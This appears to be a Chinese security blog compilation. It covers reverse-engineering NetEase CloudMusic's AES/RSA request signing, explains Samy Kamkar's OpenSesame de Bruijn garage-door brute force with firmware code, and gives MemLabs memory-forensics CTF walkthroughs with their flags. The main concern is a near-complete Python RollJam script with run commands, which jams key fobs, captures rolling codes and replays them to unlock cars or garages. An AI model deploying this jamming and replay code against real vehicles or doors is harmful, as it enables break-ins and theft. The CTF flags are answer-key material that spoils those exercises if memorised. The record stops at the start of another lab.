NetEase CloudMusic Sign Analysis

记录一下前端算法的学习

js分析

首先搜索encSecKey

image在core_xxxxxx.js中,查看一下

imageencSecKey​一共有三处结果,其中第一处在js中说明了params​也就是encText​是由方法b得到,encSecKey​由方法c得到

var maxDigits, ZERO_ARRAY, bigZero, bigOne, dpl10, lr10, hexatrigesimalToChar, hexToChar, highBitMasks, lowBitMasks, biRadixBase = 2, biRadixBits = 16, bitsPerDigit = biRadixBits, biRadix = 65536, biHalfRadix = biRadix >>> 1, biRadixSquared = biRadix * biRadix, maxDigitVal = biRadix - 1, maxInteger = 9999999999999998;
setMaxDigits(20),
dpl10 = 15,
lr10 = biFromNumber(1e15),
hexatrigesimalToChar = new Array("0","1","2","3","4","5","6","7","8","9","a","b","c","d","e","f","g","h","i","j","k","l","m","n","o","p","q","r","s","t","u","v","w","x","y","z"),
hexToChar = new Array("0","1","2","3","4","5","6","7","8","9","a","b","c","d","e","f"),
highBitMasks = new Array(0,32768,49152,57344,61440,63488,64512,65024,65280,65408,65472,65504,65520,65528,65532,65534,65535),
lowBitMasks = new Array(0,1,3,7,15,31,63,127,255,511,1023,2047,4095,8191,16383,32767,65535);
!function() {
    function a(a) {
        var d, e, b = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789", c = "";
        for (d = 0; a > d; d += 1)
            e = Math.random() * b.length,
            e = Math.floor(e),
            c += b.charAt(e);
        return c
    }
    function b(a, b) {
        var c = CryptoJS.enc.Utf8.parse(b)
          , d = CryptoJS.enc.Utf8.parse("0102030405060708")
          , e = CryptoJS.enc.Utf8.parse(a)
          , f = CryptoJS.AES.encrypt(e, c, {
            iv: d,
            mode: CryptoJS.mode.CBC
        });
        return f.toString()
    }
    function c(a, b, c) {
        var d, e;
        return setMaxDigits(131),
        d = new RSAKeyPair(b,"",c),
        e = encryptedString(d, a)
    }
    function d(d, e, f, g) {
        var h = {}
          , i = a(16);
        return h.encText = b(d, g),
        h.encText = b(h.encText, i),
        h.encSecKey = c(i, e, f),
        h
    }
    function e(a, b, d, e) {
        var f = {};
        return f.encText = c(a + e, b, d),
        f
    }
    window.asrsea = d,
    window.ecnonasr = e
}();

b是AES,c是RSA,然后我们下断点来分析传入参数:

image

this: Window
d: "{"rid":"R_SO_4_2061978961","threadId":"R_SO_4_2061978961","pageNo":"1","pageSize":"20","cursor":"-1","offset":"0","orderType":"1","csrf_token":""}"
e: "010001"
f: "00e0b509f6259df8642dbc35662901477df22677ec152b5ff68ace615bb7b725152b3ab17a876aea8a5aa76d2e417629ec4ee341f56135fccf695280104e0312ecbda92557c93870114af6c9d05c4f7f0c3685b7a46bee255932575cce10b424d813cfe4875d3e82047b97ddef52741d546b8e289dc6935b3ece0462db0a22b8e7"
g: "0CoJUm6Qyw8W8jud"

d是明文,e是RSA公钥指数e,g是密钥,encText​进行了两次AES加密,第一次是密钥g,第二次则是调用a获取了16位随机数,然后用这个随机数作为密钥对加密后的密文进行二次加密。

    function a(a) {
        var d, e, b = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789", c = "";
        for (d = 0; a > d; d += 1)
            e = Math.random() * b.length,
            e = Math.floor(e),
            c += b.charAt(e);
        return c
    }
    function b(a, b) {
        var c = CryptoJS.enc.Utf8.parse(b)
          , d = CryptoJS.enc.Utf8.parse("0102030405060708")
          , e = CryptoJS.enc.Utf8.parse(a)
          , f = CryptoJS.AES.encrypt(e, c, {
            iv: d,
            mode: CryptoJS.mode.CBC
        });
        return f.toString()
    }

理论验证

第一步加密:

参数iv​在b方法中已经有了,即0102030405060708​,而这个密钥g是不变的,都是一样的g: "0CoJUm6Qyw8W8jud"

image

第二步加密:

我们用生成的16位随机数,上面断点测试里的i='6Mjc1USUwVotpmmg'​做密钥重新加密:

​​

rv/2nZ65iJ6nSJ5cMLjtrCiIHP9hUOgGjnuMaKPXraKUDgjcZMcbFciWMQekT3d7xY1vFdqoTs6FNkcq3IDIoGbweRcWVd6lvhHH9/LBifwIPiKASNy/QUkSbTvYoacP2pZ4NFJF/r5e5OeaBfjmDBOnCvuGDbDaYqhaxJSdU6BWBHrmjPsw48yhTQgIbhT6G3JT0AJgx897z0RcSHoB0jW36ntRlzjkssHZKzKcGLMwALeluY+SdSu3ogKgiQ/fMMI2kEFtcrXcxbUF/AwvLCeT9yDttHeODDJyhDnouDA=

image和图片里的encText​一样

encSecKey​在方法d中可以看到是调用c方法:c(i,e,f)

i:16位随机数,e:指数,f:公钥

然后我们直接借助源文件中的各种声明函数再写一个加密就好了

var n = "00e0b509f6259df8642dbc35662901477df22677ec152b5ff68ace615bb7b725152b3ab17a876aea8a5aa76d2e417629ec4ee341f56135fccf695280104e0312ecbda92557c93870114af6c9d05c4f7f0c3685b7a46bee255932575cce10b424d813cfe4875d3e82047b97ddef52741d546b8e289dc6935b3ece0462db0a22b8e7";
var e = "010001";
var a = "a9txe8uybyUI8mN3";
function enc(a, b, c) {
    var d, e;
    setMaxDigits(131);
    d = new RSAKeyPair(b,"",c);
    e = encryptedString(d, a);
    return e;
}
console.log(enc(a,e,n));

18c2ad34bd59063138805e40622403cc813a2891241799b50b49f7d5e8090c99af51fce9b743a53fe0ce86ad797153a0035dad823ac8a38bae43a77bdd271ae7372bdcaa8a67e6a1baf04cdffe276225842a2282e45b78eb954137fca362096403bef24576948400726e197ab2bd2bf7a6b5559b5a9436228ad9e941eef6d83c

image

芝麻开门🚗

原文链接🔗:https://samy.pl/opensesame
成功开门放在了最后的动图

​​车库密码系统

大家都知道,车库开关现在基本都是以遥控为主,当我们摁下遥控器发出开启信号,车库接收器收到信号后就会打开,关闭车库是一样的过程,而这也是生产厂商采用的常见思路,但是这并不安全——信号伪造。遥控钥匙中通常会采用的固定代码系统,而这个密钥系统有一个思路简单、利用难度低的漏洞:遥控钥匙的密钥空间极其有限(毕竟钥匙就那么大)。例如,车库遥控器支持 长度为12 位二进制的DIP开关。(DIP开关常用在车库门开启器或是一些早期的无线电话中,用来设定保全码,保全码最长可以用十二个开关来设定,可用来避免和其他车库门开启器或是其他设备之间的电磁干扰。)这本质上是一个打开车库的固定密码,但由于它是二进制(0和1)且长度一共12 位,因此密钥总数量为2 ** 12,即 4096 种可能的组合。

要知道,我们每单击一次钥匙就会发送相同的密钥信号5 次,并且我们会看到每一“位”都需要 2 毫秒才能发送,其中发送整个代码后,每个位有 2ms 的等待时间。因此,每串12 位二进制组合需要(12 位 * 2ms 传输 * 2ms 等待 * 5 次 = 240ms)。要暴力破解整个 8、9、10、11 和 12 位密钥空间,即:

(((2 ** 12)*12) + ((2 ** 11)*11) + ((2 ** 10)*10) + ((2 ** 9)*9) + ((2 ** 8)*8)) = 88576 位
88576 位 * 4ms传输时间 * 5 次传输 = 1771.52 秒 = 30 分钟

除此之外,我们还需要知道发射信号的频率和波特率(幸运的是大部分的车钥匙都采用一种规格的信号)。但如果我们不知道的话,就得尝试几种不同的频率和波特率,那么就需要花费30分钟好几倍的时间。

优化去重

第一个去重尝试效果非常明显,那就是消除重传,不再是每次发送信号 5 次,而是只发送一次,假设没有干扰或接收问题,这会将时间减少至原来的1/5。

1771.52 秒 / 5 = 354.304 秒 = 6 分钟

接着,尝试删除发送每个完整代码之间的等待期,看看是否可以连续发送每个代码。因此,我们不会选择发送111111000000[等待12位]111111000001,而是选择直接发送111111000000111111000001。这样的话,我们直接就又干掉了一半的时间:

1771.52 秒 / 5 / 2 = 177.152 秒 = 3 分钟

看上去就已经很不错了,3min 就可以破解车库门,但是可以更好。

芝麻开门

image

这是最关键的。当查看我们发送的数据时,我们现在正在发送连续的比特流。例如:

  • (代码#1)000000000000
  • (代码#2)000000000001
  • (代码#3)000000000010
  • (代码#4)000000000011

我们拼接起来,就是这样: ​000000000000000000000001000000000010000000000011

问题是,车库的接收器如何看待这些位?如果使用移位寄存器怎么办?

参照原文:

In digital circuits, a shift register is a cascade of flip flops, sharing the same clock, in which the output of each flip-flop is connected to the "data" input of the next flip-flop in the chain, resulting in a circuit that shifts by one position the "bit array" stored in it, shifting in the data present at its input and shifting out the last bit in the array, at each transition of the clock input.

image

如果是这种情况,这意味着如果我们在真实代码之前或之后添加任何数量的位,信号接收器并不会关心。

因此,整个过程就是:假设我们的车库密码是 ​111111000000。如果车库使用移位寄存器,并且我们发送 13 位0111111000000,车库将首先测试:011111100000(不正确)==>(砍掉第一位,然后拉入下一位)==>​ 111111000000(正确!)

而更美妙的是,车库不会清除尝试的密钥,因此发送一串12 位长度的密钥时,还会测试五个 8 位代码、四个 9 位代码、三个 10 位代码、两个 11 位代码,当然还有一个 12 位代码!只要我们每发送12位代码,8-11位代码就会同时被测试。

现在,必须有一种算法能够生成每种可能的代码,并尽可能少的减少位重叠。

德布鲁因序列(de Bruijn sequence)

de Bruijn sequence - Wikipedia

组合​ ​数学中,大小为 k 的字母表 A 上的n阶de Bruijn 序列是一个循环序列,其中 A 上每个可能的长度为 n 的字符串作为子串(即作为连续子序列)仅出现一次。这样的序列用B ( k , n )表示,长度为k ** n​ ,这也是 A 上长度为 n 的不同字符串的数量。这些不同的字符串中的每一个当作为B( k , n )的子字符串时,必须从不同的位置开始,因为从相同位置开始的子字符串并不会不同。因此,B ( k , n )必须至少有k ** n符号。并且由于B ( k , n )恰好 具有​ k ** n ​个符号,因此就包含长度为​ n ​的每个字符串至少一次的属性而言,De Bruijn 序列是最佳的短序列。

不同 de Bruijn 序列​ B ( k , n )的数量为

image

在最短的时间内生成 8-12 位的所有可能的重叠序列来实现该算法,所需要的时间会有多短呢🤔?

答:测试每 8 到 12 位的可能性:((2 ** 12) + 11) * 4ms / 2 = 8214 ms = 8.214 秒!!!

频率、调制、编码器

频率

直接的假设是这些固定销车库和大门跨越很宽的频率范围。例如,维基百科建议这些无线设备跨越 300MHz - 400MHz,要求我们将相同的信号发送到 100 个额外的频率。然而,在提取我能找到的所有固定发射机的 FCC 文档后,我们发现只有少数频率被使用过,主要是​ 300MHz310MHz315MHz318MHz​ 和 ​390MHz

此外,大多数这些接收器都没有任何带通滤波器,允许更广泛的频率通过,在测试中通常至少覆盖额外的 2MHz。

调制

您会发现几乎所有这些发射机都使用​ ASK/OOK ​进行传输。此外,许多接收器通过使用相同的 OOK 信令来支持互操作性。这可以通过测试多个车库门开启器、查看多个发射器的 FCC 文件并注意各种车库门开启器支持的型号来确认。

编码器

以下是大多数此类系统使用的编码器列表:

PT2262、PT2264、SC2260、CS5211、PT2282、PT2240、eV1527、RT1527、FP527、HS527、SCL1527、MC145026、AX5326、VD5026、SMC926、SMC918、PLC168、HCS300、HCS30 1、HCS201

项目成品:

项目地址:https://github.com/samyk/opensesame

主要代码:

#include "types.h"
#ifndef LOCAL
#include <cc1110.h>
#endif
#include <math.h>
#include "ioCCxx10_bitdef.h"
#include "display.h"
#include "keys.h"
#include "garages.h"
#include "rf.h"
#include "fbuffer.h"
#include "zsprites.h"
#include "pm.h"

#define title printl(0, "    OpenSesame 1.0")
#define HIBYTE(a)     (u8) ((u16)(a) >> 8 )
#define LOBYTE(a)     (u8)  (u16)(a)

#define SET_WORD(regH, regL, word) \
    do {                           \
        (regH) = HIBYTE( word );   \
        (regL) = LOBYTE( word );   \
    } while (0)

/* note sdcc wants reverse bit order from datasheet */
typedef struct {
    u8 SRCADDRH;
    u8 SRCADDRL;
    u8 DESTADDRH;
    u8 DESTADDRL;
    u8 LENH      : 5;
    u8 VLEN      : 3;

    u8 LENL      : 8;

    u8 TRIG      : 5;
    u8 TMODE     : 2;
    u8 WORDSIZE  : 1;

    u8 PRIORITY  : 2;
    u8 M8        : 1;
    u8 IRQMASK   : 1;
    u8 DESTINC   : 2;
    u8 SRCINC    : 2;
} DMA_DESC;

__xdata static volatile u8 txdone = 1;
__xdata static volatile u8 ni = 0;

__xdata DMA_DESC dmaConfig;
__xdata u8 realbuf[MAXLEN+1];
__bit sleepy = 0;
__bit txFast = 0;

extern u8 _garage_id = 0;

void setup_dma_tx()
{
    // forum guy used high priority and repeated single mode (TMODE = 2)
    dmaConfig.PRIORITY       = 2;  // high priority
    dmaConfig.M8             = 0;  // not applicable
    dmaConfig.IRQMASK        = 0;  // disable interrupts
    dmaConfig.TRIG           = 19; // radio
    dmaConfig.TMODE          = 2;  // repeated single mode
    dmaConfig.WORDSIZE       = 0;  // one byte words;
    dmaConfig.VLEN           = 0;  // use LEN
    SET_WORD(dmaConfig.LENH, dmaConfig.LENL, MAXLEN);

    SET_WORD(dmaConfig.SRCADDRH, dmaConfig.SRCADDRL, realbuf);
    SET_WORD(dmaConfig.DESTADDRH, dmaConfig.DESTADDRL, &X_RFD);
    dmaConfig.SRCINC         = 1;  // increment by one
    dmaConfig.DESTINC        = 0;  // do not increment

    SET_WORD(DMA0CFGH, DMA0CFGL, &dmaConfig);

    return;
}

void setup()
{
#ifdef SIMULATOR
    UART_Init();
#else
    xtalClock();
    setIOPorts();
    configureSPI();
    LCDReset();

    /* IF setting */
    FSCTRL1   = 0x06;
    FSCTRL0   = 0x00;

    /* DC blocking enabled, OOK/ASK */
    MDMCFG2   = 0x30; // no preamble/sync

    /* no FEC, 4 byte preamble, default channel spacing */
    MDMCFG1   = 0x22;
    MDMCFG0   = 0xF8;

    FREND1    = 0x56;   // Front end RX configuration.
    FREND0    = 0x11;   // Front end RX configuration.

    /* automatic frequency calibration */
    MCSM0     = 0x14;
    //MCSM2 ?
    MCSM1     = 0x30; // TXOFF_MODE = IDLE

    FSCAL3    = 0xE9;   // Frequency synthesizer calibration.
    FSCAL2    = 0x2A;   // Frequency synthesizer calibration.
    FSCAL1    = 0x00;   // Frequency synthesizer calibration.
    FSCAL0    = 0x1F;   // Frequency synthesizer calibration.
    TEST2     = 0x88;   // Various test settings.
    TEST1     = 0x31;   // Various test settings.
    TEST0     = 0x0B;   // low VCO (we're in the lower 400 band)

    /* no preamble quality check, no address check */
    PKTCTRL1  = 0x04;

    /* no whitening, no CRC, fixed packet length */
    PKTCTRL0  = 0x00;

    /* device address */
    ADDR      = 0x11;

    /* packet length in bytes */
    PKTLEN    = MAXLEN;

    setup_dma_tx();
    clear();
#endif
}

int main(void)
{
    u8 key;

    setup();

    while (1)
    {
        title;
        //        "123456789 123456789 1"
        // TODO: make this stuff actually selectable
        printl(2, "Frequency");
        printrlc(2, 21-5, "Auto");
        printl(3, "Baud rate");
        printrlc(3, 21-5, "Auto");
        printl(4, "Bits");
        printrlc(4, 21-5, "Auto");

        // TODO: make this not a loop and use interrupts instead to catch keys
//      while (getkey() != ' ');
        while (1)
        {
            key = getkey();

            // tx!
            if (key == ' ') break;
            else if (key == KPWR)
            {
                sleepy = 1;
                chkSleep();
            }
        }

        // start de bruijn sending
        for (key = 0; key < sizeof(garages)/sizeof(garages[0]); key++)
        {
            _garage_id = key;
            db_send();
        }

        LED_GREEN = HIGH;
        LED_RED = HIGH;

        clear();
        //         "123456789 123456789 1"
        printrl(6, "TRANSMISSION COMPLETE");

    } // while
} // main

/* knock knock
 * - who's there
 * irq rf_vector
 * - irq rf---
 * INTERRUPTING SERVICE ROUTINE RF VECTOR COMPLETE (done transmitting)
 */
void rf_isr_orig() __interrupt (RF_VECTOR)
{
    // clear the interrupt flags
    RFIF &= ~RFIF_IRQ_DONE;
    S1CON &= ~0x03;           // Clear the general RFIF interrupt registers

    txdone = 1;

    // go idle again
    RFST = RFST_SIDLE;
    LED_RED = HIGH; // turn red led off
}

// transmit that badboy
void rftx()
{
    // wait for previous transmission to finish (if any)
    waitForTx();

    txdone = 0;
    LED_GREEN = HIGH; // turn green led off
    LED_RED = LOW; // turn red led on

    // ...
}

// show nyancat while transmitting
void waitForTx()
{
    while (!txdone)
    {
        if (!txFast)
        {
            // this slows down the tx quite a bit
            title;
            fb_blank();
            fb_bitblt((__xdata u8*) nyan[ni++], 30, 20, 0);
            fb_flush();
            //printl(0, "      OpenSesame    ");
            title;
            printl(1, "     Transmitting   ");
            if (ni >= NYANS)
                ni = 0;
        }
    }
}

// from Michael Ossmann's epic IM-ME spectrum analyzer:
void chkSleep()
{
    u8 i;
    /* go to sleep (more or less a shutdown) if power button pressed */
    if (sleepy)
    {
        clear();
        sleepMillis(1000);
        SSN = LOW;
        LCDPowerSave();
        SSN = HIGH;

        while (1)
        {
            sleep();

            /* power button depressed long enough to wake? */
            sleepy = 0;
            for (i = 0; i < DEBOUNCE_COUNT; i++)
            {
                sleepMillis(DEBOUNCE_PERIOD);
                if (keyscan() != KPWR) sleepy = 1;
            }
            if (!sleepy) break;
        }

        /* reset on wake */
        main();
        //setup();
        //goto reset;
    }

}

Bypass rolling code security

现在的车库门开启器已改用安全性较高的滚动码。——维基百科

滚动码技术是目前大部分汽车所采用的防护方法:

image

滚动码技术确实已经比较完善了,安全性上也要比原先的密码系统提高了好几个档次,但还是有不小的问题:

  1. 车钥匙里存有当前的滚动码。当按下车钥匙按钮时,滚动码加上功能码(比如开门,关门等)一起发送给汽车。
  2. 汽车也存有当前的滚动码。当汽车收到同样的滚动码时,它就执行相应的操作。如果收到的数据不匹配,就不执行任何动作。
  3. 车钥匙和汽车里的滚动码是始终保持同步的。
  4. 如果在车钥匙距离车很远时误触了几次车钥匙按钮,或者钥匙发出的信号被故意拦截未被车辆接收,那么车钥匙中的滚动码就会前进好几步,此时跟车内的码就不同步了。这种情况下,汽车允许接收当前码之后指定数量的码,只要车钥匙发送的码在这个窗口之内,汽车都认为是有效的,成功接收后,计数器会再次重新同步。
  5. 如果车钥匙被误按超过设定次数,车钥匙和车就会彻底失去同步,这时候就只能想办法恢复同步了。

同理,如果攻击者能够捕捉到车库附近意外按下按钮的信号,那么就有可能通过重放该信号来解锁车库。但是在实际情况下,要从随机的人那里获取这些信号是相当不现实的。

image

无线电设备在常见频率波段上发送噪声,拦截信号Unlock1使其不能被接收,与此同时保存截获到钥匙发出的Unlock1信号。

当首个钥匙信号遭到拦截,且未能解锁时,车主极大概率会再次尝试。在第二次按下钥匙按钮时,无线电设备会再次拦截信号Unlock2,不过也会在同时传送第一次的信号Unlock1,这次就会被解锁了,通常用户会忽视之前的解锁失败,但是我们却获取了第二个有效的信号。方便的话就安装在汽车上或藏在车库附近,它就可以重复拦截信号,不管车主进行了多少次解锁,它都始终传送上一个信号,然后储存下一个信号,这样的话不管何时取回这一装置,他都会得到一个未使用且有效的滚动码信号。

# 以下命令已由匿名用户测试,用于在远程电源插座上执行攻击
# 自动捕获并重放第一个代码:python rolljam.py -f 315060000 -r 1818 -m -40 -o -2500000 -O capture.io
# 捕获并等待按钮重放第一个代码:python rolljam.py -f 315060000 -r 1818 -m -40 -o -2500000 -O capture.io -k
# 加载先前的捕获并重放:python rolljam.py -I capture.io

import sys
from rflib import *
from struct import *
import bitstring
import operator
import argparse
import time
import pickle

parser = argparse.ArgumentParser(description='Python port of Samy Kamkar\'s Rolljam.  Code by Andrew Macpherson, Ghostlulz(Alex), and Corey Harding.',version="1.0")
parser.add_argument('-f', action="store", default="315060000", dest="baseFreq",help='Target frequency to listen for remote (default: 315060000)',type=int)
parser.add_argument('-r', action="store", dest="baudRate",default=1818,help='Baudrate (default: 1818)',type=int)
parser.add_argument('-n', action="store", dest="numSignals",default=2,help='Number of signals to capture before replaying (default: 2)',type=int)
parser.add_argument('-i', action="store", default="24000", dest="chanWidth",help='Width of each channel (lowest being 24000 -- default)',type=int)
parser.add_argument('-c', action="store", default="60000", dest="chanBW",help='Channel BW for RX (default: 60000)',type=int)
parser.add_argument('-I', action="store", default="", dest="inFile",help='File to read in')
parser.add_argument('-O', action="store", default="", dest="outFile",help='Output file to save captures to')
parser.add_argument('-o', action="store", default="-70000", dest="offset",help='Frequency offset of jammer (default: -70000)')
parser.add_argument('-p', action="store", default="200", dest="power",help='Power level for re-transmitting (default: 200)',type=int)
parser.add_argument('-m', action="store", default="-40", dest="minRSSI",help='Minimum RSSI db to accept signal (default: -40)',type=int)
parser.add_argument('-M', action="store", default="40", dest="maxRSSI",help='Maximum RSSI db to accept signal (default: 40)',type=int)
parser.add_argument('-k', action="store_true", dest="waitForKeypress", default=False,help='Wait for keypress before resending first capture (default: False)')
results = parser.parse_args()

rawCapture = [];
print "Configuring Scanner on Frequency: " + str(results.baseFreq)
d = RfCat(idx=0)
d.setMdmModulation(MOD_ASK_OOK)
d.setFreq(results.baseFreq)
d.setMdmSyncMode(0)
d.setMdmDRate(results.baudRate)
d.setMdmChanBW(results.chanBW)
d.setMdmChanSpc(results.chanWidth)
d.setChannel(0)
d.setPower(results.power)
d.lowball(1)

print "Configuring Jammer on Frequency: " + str(int(results.baseFreq)+int(results.offset))
c = RfCat(idx=1)
c.setMdmModulation(MOD_ASK_OOK) #on of key
c.setFreq(int(results.baseFreq)+int(results.offset)) # frequency
c.setMdmDRate(results.baudRate)# how long each bit is transmited for
c.setMdmChanBW(results.chanBW)# how wide channel is
c.setMdmChanSpc(results.chanWidth)
c.setChannel(0)
c.setMaxPower() # max power
c.lowball(1) # need inorder to read data

time.sleep(1) #warm up

if(results.inFile != ''):
    rawCapture = pickle.load(open(results.inFile,"rb"))
    if(len(rawCapture) == 0):
        print "No captures found"
        sys.exit()
    else:
        print "Loaded " + str(len(rawCapture)) + " captures"
    print "Send Phase..."
    c.setModeIDLE()
    emptykey = '\x00\x00\x00\x00\x00\x00\x00'
    d.makePktFLEN(len(emptykey))
    d.RFxmit(emptykey)
    while True:
        try:
            for i in range(0,len(rawCapture)):
                key_packed = bitstring.BitArray(hex=rawCapture[i]).tobytes()
                d.makePktFLEN(len(key_packed))
                raw_input(" Press enter to send capture " + str(i+1) + " of " + str(len(rawCapture)))
                d.RFxmit(key_packed)
                print "Sent " + str(i+1) + " of " + str(len(rawCapture))
        except KeyboardInterrupt:
            print "Bye!"
            d.setModeIDLE()
            sys.exit()
            break;
    print "exiting."
    d.setModeIDLE()
    sys.exit()

print "Jamming...."
c.setModeTX() # start transmitting 

print "Scanning..."
while True:
    try:

        y, t = d.RFrecv(1)
        sampleString=y.encode('hex')
        #print sampleString
        strength= 0 - ord(str(d.getRSSI()))

        #sampleString = re.sub(r'((f)\2{8,})', '',sampleString)
        if (re.search(r'((0)\2{15,})', sampleString)):
            print "Signal Strength:" + str(strength)
            if(strength > results.minRSSI and strength < results.maxRSSI):
                rawCapture.append(sampleString)
                print "Found " + str(sampleString)
                if(len(rawCapture) >= results.numSignals):
                    break;

    except ChipconUsbTimeoutException:
        pass
    except KeyboardInterrupt:
        break
print "Saving phase"
outputCapture = rawCapture
if(results.outFile != ''):
    pickle.dump(outputCapture, open(results.outFile,"wb"))
print "Send Phase..."
#print rawCapture
emptykey = '\x00\x00\x00\x00\x00\x00\x00'
d.makePktFLEN(len(emptykey))
d.RFxmit(emptykey)

print 'Done jamming'
if(results.waitForKeypress == True):
    time.sleep(.5)  # Assumes someone using waitForKeypress mode is testing thus they will be pressing button on remote
            # and waiting for the "Done jamming" message, this delay allows their brain to stop pressing the button
            # don't want to accidentally hop to next code
c.setModeIDLE() # put dongle in idle mode to stop jamming

if(results.waitForKeypress == True):
    raw_input(" Press enter to send first capture")
print 'Replaying'
key_packed = bitstring.BitArray(hex=rawCapture[0]).tobytes()
d.makePktFLEN(len(key_packed))
d.RFxmit(key_packed)
print "Sent capture 1"

while True:
    try:
        for i in range(1,len(rawCapture)):

            key_packed = bitstring.BitArray(hex=rawCapture[i]).tobytes()
            raw_input(" Press enter to send capture " + str(i+1) + " of " + str(len(rawCapture)))
            d.makePktFLEN(len(key_packed))
            d.RFxmit(key_packed)
            print "Sent capture " + str(i+1) + " of " + str(len(rawCapture))
    except KeyboardInterrupt:
        print "Bye!"
        d.setModeIDLE()
        c.setModeIDLE() # put dongle in idle mode to stop jamming
        sys.exit()
        break;
print "exiting."
d.setModeIDLE()
c.setModeIDLE()

展示

garage

The Last Diary of Forensic

MemLabs Lab 4 | Obsession

下载链接:MemLabs_Lab4

Challenge Descryption

My system was recently compromised. The Hacker stole a lot of information but he also deleted a very important file of mine. I have no idea on how to recover it. The only evidence we have, at this point of time is this memory dump. Please help me.

Note : This challenge is composed of only 1 flag.

The flag format for this lab is: inctf{s0me_l33t_Str1ng}

我的系统最近遭到入侵。黑客窃取了很多信息,但他还删除了我的一个非常重要的文件。我不知道如何恢复它。目前我们拥有的唯一证据就是这个内存转储。请帮我。

Progress

Flag

不多谈了好吧:

image

image

嗨嗨嗨,运气~

image

结合描述,文件被删除了,尝试恢复一下。

image

说一下 MFT表:

  • NTFS文件系统包含一个叫主文件表Master File Table)的文件,简称为MFT。对于在 NTFS 文件系统卷上的每个文件,在 MFT 中都至少会有一个条目。 MFT 条目会存储文件所有的信息,包括名称、大小、时间、时间戳、权限和数据内容,或者会存储在 MFT 条目所描述的 MFT 之外的空间。
  • 随着文件被添加到 NTFS 文件系统卷,会有更多的条目添加到 MFT ,并且 MFT 大小也会随之增加。但是当从 NTFS 卷中删除文件时,它们的 MFT 条目会被重新标记为空闲状态,并且可以重复使用。但是已为这些条目分配的磁盘空间是不会再重新分配的,并且 MFT 的空间不会减小。
  • 文件大小 小于等于 1024字节的文件,会直接存储在 MFT 表中(称为 驻留文件),如果超过1024字节MFT 表就会包含其位置信息,不会存储文件。(称为 非驻留文件)

volatility中提供了mftparser插件来查看系统的 MFT表:

image

image

字符串分散开了:inctf{1_is_n0t_EQu4l_7o_2_bUt_th1s_d0s3nt_m4ke_s3ns3}

MemLabs Lab 5 | Black Tuesday

下载链接:MemLabs Lab 5

Challenge Description

We received this memory dump from our client recently. Someone accessed his system when he was not there and he found some rather strange files being accessed. Find those files and they might be useful. I quote his exact statement,

The names were not readable. They were composed of alphabets and numbers but I wasn't able to make out what exactly it was.

Also, he noticed his most loved application that he always used crashed every time he ran it. Was it a virus?

Note-1 : This challenge is composed of 3 flags. If you think 2nd flag is the end, it isn't!! 😛

Note-2 : There was a small mistake when making this challenge. If you find any string which has the string " L4B_3_D0n3 !! " in it, please change it to " L4B_5_D0n3 !! " and then proceed.

Note-3 : You'll get the stage 2 flag only when you have the stage 1 flag.

最近我们从客户那里收到了这个内存转储。有人趁他不在时访问了他的系统,客户发现一些相当奇怪的文件正在被访问。找到这些文件,它们可能很有用。客户的原话是这样:

名字不可读。它们由字母和数字组成,但我不清楚它到底是什么。

注 1 :此挑战由 3 个flag组成。如果您认为第二个标志是结束,它不是!:P、

2:挑战时有一个小错误。如果您发现任何包含字符串“ L4B_3_D0n3 !! ”的字符串,请将其更改为“ L4B_5_D0n3 !! ”然后继续。

注意 3 :只有当您拥有flag1时,您才会获得flag2。

Progress

Flag 1

不想说了:

image

pslist

image

看到了特殊的进程,查看了命令行历史:

image

确实不可读🤔,提取出来:

image

image

emm,Stage2.png 看来是第二部分了,还得去找第一部分。

这个地方用到了iehistory(想不到吧:P)

iehistory插件可以恢复IE浏览器的历史 index.dat 缓存文件的片段。iehistory可以提取基本的访问协议(如http、ftp等)链接、重定向链接(-REDR)和已删除条目(-LEAK)。此外,不仅仅是IE浏览器,它适用于任何加载和使用的 winnet.dll库 的进程,通常包括 Windows 资源管理器 甚至恶意软件样本。

image

运气不错,熟悉的base64:

image

flag{!!_w3LL_d0n3_St4g3-1_0f_L4B_5D0n3!!}

Flag 2

有了第一个flag,去解密压缩包:

Stage2

直接出了

flag{W1thth1s$taGe_2_1sc0mPL3T3!!}

Flag 3

前面看到了 notepad.exe,提取文件,转储可执行文件,丢入IDA:

image

JO8DJR0SR06JOJUUH

XFEMYOO44F8AMYCGF57J

flag3:bi0s{M3m_l4b5OVeR!}

MemLabs Lab 6 | The Reckoning

下载链接:MemLabs Lab 6

Challenge Description

We received this memory dump from the Intelligence Bureau Department. They say this evidence might hold some secrets of the underworld gangster David Benjamin. This memory dump was taken from one of his workers whom the FBI busted earlier this week. Your job is to go through the memory dump and see if you can figure something out. FBI also says that David communicated with his workers via the internet so that might be a good place to start.

Note : This challenge is composed of 1 flag split into 2 parts.

The flag format for this lab is: inctf{s0me_l33t_Str1ng}

我们从情报局收到了这个内存转储。他们说这个证据可能包含黑帮 大卫·本杰明 的一些秘密。这个内存转储是从本周早些时候被 FBI 逮捕的他的一名手下那里获取的。你的工作是通过内存转储,看看你是否能找出一些东西。联邦调查局还表示,大卫通过互联网与他的手下交流,因此这个内存可能是一个很好的案件突破口。

注意 :此挑战由 1 个flag 组成,分为 2 个部分。

本实验的flag格式为:inctf{s0me_l33t_Str1ng}

Progress

The first part of flag

。。。

image

排查一下可疑进程:

image

先看WinRAR.exe

image

image

提取一下:

image

image

经典,又是加密。。。

image

🤔emmm,有点生硬:

image

flag2

First Part:aNAm4zINg!_igU3Ss???}

The second part of flag

还有浏览器历史,之前安装过了插件:https://github.com/superponible/volatility-plugins

image

向下翻,有这么一条:

image

有一条回收站:

image

看一下回收站的链接:

Important - Google 文档,google文档

额,全是拉丁语,不过幸好,有Google 翻译

image

有个网盘链接:Mega网盘

image

emm又有加密

image

靠运气找Key果然还是行不通吗呜呜呜

直接 strings 全局搜:

strings Lab6.raw | grep "Mega Drive Key"

image

image

直接看是打不开的,拖进Winhex看看

image

这个地方要大写的IHDR,修复一下,16进制从69改成49

image

flag_

Second part:inctf{thi5cH4LL3Ng3!sg0nn4b3?

综上,flag为:inctf{thi5cH4LL3Ng3!s_g0nn4b3?_aNAm4zINg!_igU3Ss???}

The Second Diary of Forensic

MemLabs Lab_2 | A New World

下载链接:MemLabs Lab_2

Challenge description

One of the clients of our company, lost the access to his system due to an unknown error. He is supposedly a very popular "environmental" activist. As a part of the investigation, he told us that his go to applications are browsers, his password managers etc. We hope that you can dig into this memory dump and find his important stuff and give it back to us.

Note : This challenge is composed of 3 flags.

